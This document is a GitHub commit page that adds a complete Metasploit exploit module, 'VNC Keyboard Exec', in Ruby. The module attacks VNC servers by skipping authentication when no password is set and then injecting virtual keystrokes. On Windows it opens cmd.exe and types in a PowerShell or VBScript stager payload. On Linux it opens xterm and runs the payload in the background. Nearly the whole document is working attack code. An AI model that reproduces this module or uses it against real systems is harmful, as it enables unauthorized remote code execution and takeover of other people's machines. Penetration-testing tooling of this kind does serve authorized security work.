Skip to content

Commit b916a9d

Browse files
author
xistence
committed
VNC Keyboard Exec
1 parent 768dca5 commit b916a9d

File tree

1 file changed

+197
-0
lines changed

1 file changed

+197
-0
lines changed
Lines changed: 197 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,197 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/proto/rfb'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
11+
Rank = ExcellentRanking
12+
include Msf::Exploit::Remote::Tcp
13+
include Msf::Exploit::CmdStager
14+
include Msf::Exploit::Powershell
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'VNC Keyboard Exec',
19+
'Description' => %q{
20+
This module exploits VNC servers by sending virtual keyboard keys and executing
21+
a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager
22+
payload is typed and executed. On Unix/Linux systems a xterm terminal is opened
23+
and a payload is typed and executed.
24+
},
25+
'Author' => [ 'xistence <xistence[at]0x90.nl>' ],
26+
'Privileged' => false,
27+
'License' => MSF_LICENSE,
28+
'Platform' => %w{ win unix },
29+
'Arch' => ARCH_X86,
30+
'Targets' =>
31+
[
32+
[ 'VNC Windows / Powershell', { 'Platform' => 'win' } ],
33+
[ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],
34+
[ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
35+
],
36+
'DisclosureDate' => 'Jul 10 2015',
37+
'DefaultTarget' => 0))
38+
39+
register_options(
40+
[
41+
Opt::RPORT(5900),
42+
OptString.new('PASSWORD', [ false, 'The VNC password']),
43+
OptInt.new('TIMEWAIT', [ true, 'Time to wait for payload to be executed', 20])
44+
], self.class)
45+
end
46+
47+
48+
def press_key( key )
49+
keyboard_key = "\x04\x01" # Press key
50+
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
51+
keyboard_key << key # The keyboard key
52+
# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
53+
sock.put(keyboard_key)
54+
end
55+
56+
57+
def release_key( key )
58+
keyboard_key = "\x04\x00" # Release key
59+
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
60+
keyboard_key << key # The keyboard key
61+
# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
62+
sock.put(keyboard_key)
63+
end
64+
65+
66+
def exec_command( command )
67+
values = command.chars.to_a
68+
values.each do |value|
69+
press_key("\x00#{value}")
70+
release_key("\x00#{value}")
71+
end
72+
press_key(@enter_key)
73+
end
74+
75+
76+
def start_cmdprompt
77+
print_status("#{rhost}:#{rport} - Opening Run command")
78+
# Pressing and holding windows key for 1 second
79+
press_key(@windows_key)
80+
select(nil, nil, nil, 1)
81+
# Press the "r" key
82+
press_key("\x00r")
83+
# Now we can release both keys again
84+
release_key("\x00r")
85+
release_key(@windows_key)
86+
# Wait a second to open run command window
87+
select(nil, nil, nil, 1)
88+
exec_command("cmd.exe")
89+
# Wait a second for cmd.exe prompt to open
90+
select(nil, nil, nil, 1)
91+
end
92+
93+
94+
def exploit
95+
96+
begin
97+
98+
@enter_key = "\xff\x0d"
99+
@windows_key = "\xff\xeb"
100+
alt_key = "\xff\xe9"
101+
f2_key = "\xff\xbf"
102+
password = datastore['PASSWORD']
103+
104+
connect
105+
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
106+
107+
unless vnc.handshake
108+
print_error("#{rhost}:#{rport} - #{vnc.error}")
109+
return
110+
end
111+
112+
unless password.nil?
113+
print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")
114+
if vnc.authenticate(password)
115+
print_status("#{rhost}:#{rport} - Authenticated")
116+
else
117+
print_error("#{rhost}:#{rport} - #{vnc.error}")
118+
return
119+
end
120+
else
121+
print_status("#{rhost}:#{rport} - Bypass authentication")
122+
# The following byte is sent in case the VNC server end doesn't require authentication (empty password)
123+
sock.put("\x10")
124+
end
125+
126+
127+
128+
# Send shared desktop
129+
unless vnc.send_client_init
130+
print_error("#{rhost}:#{rport} - #{vnc.error}")
131+
return
132+
end
133+
134+
if target.name =~ /VBScript CMDStager/
135+
136+
start_cmdprompt
137+
print_status("#{rhost}:#{rport} - Typing and executing payload")
138+
execute_cmdstager({:flavor => :vbs, :linemax => 8100})
139+
140+
# Exit the CMD prompt
141+
exec_command("exit")
142+
143+
elsif target.name =~ /Powershell/
144+
145+
start_cmdprompt
146+
print_status("#{rhost}:#{rport} - Typing and executing payload")
147+
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
148+
# Execute powershell payload and make sure we exit our CMD prompt
149+
exec_command("#{command} && exit")
150+
151+
elsif target.name =~ /Linux/
152+
153+
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
154+
# Press the ALT key and hold it for a second
155+
press_key(alt_key)
156+
select(nil, nil, nil, 1)
157+
158+
# Press F2 to start up "Run application"
159+
press_key(f2_key)
160+
161+
# Release ALT + F2
162+
release_key(alt_key)
163+
release_key(f2_key)
164+
165+
# Wait a second for "Run application" to start
166+
select(nil, nil, nil, 1)
167+
168+
# Start a xterm window
169+
print_status("#{rhost}:#{rport} - Opening xterm")
170+
exec_command("xterm")
171+
172+
# Wait a second for "xterm" to start
173+
select(nil, nil, nil, 1)
174+
175+
# Execute our payload and exit (close) the xterm window
176+
print_status("#{rhost}:#{rport} - Typing and executing payload")
177+
exec_command("nohup #{payload.encoded} &")
178+
exec_command("exit")
179+
end
180+
181+
# Wait up to X seconds, else might timeout/disconnect before full payload is typed
182+
select(nil, nil, nil, datastore['TIMEWAIT'])
183+
184+
handler
185+
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
186+
print_error("#{rhost}:#{rport} - #{e.message}")
187+
ensure
188+
disconnect
189+
end
190+
end
191+
192+
def execute_command(cmd, opts = {})
193+
exec_command(cmd)
194+
end
195+
196+
end
197+

0 commit comments

Comments
 (0)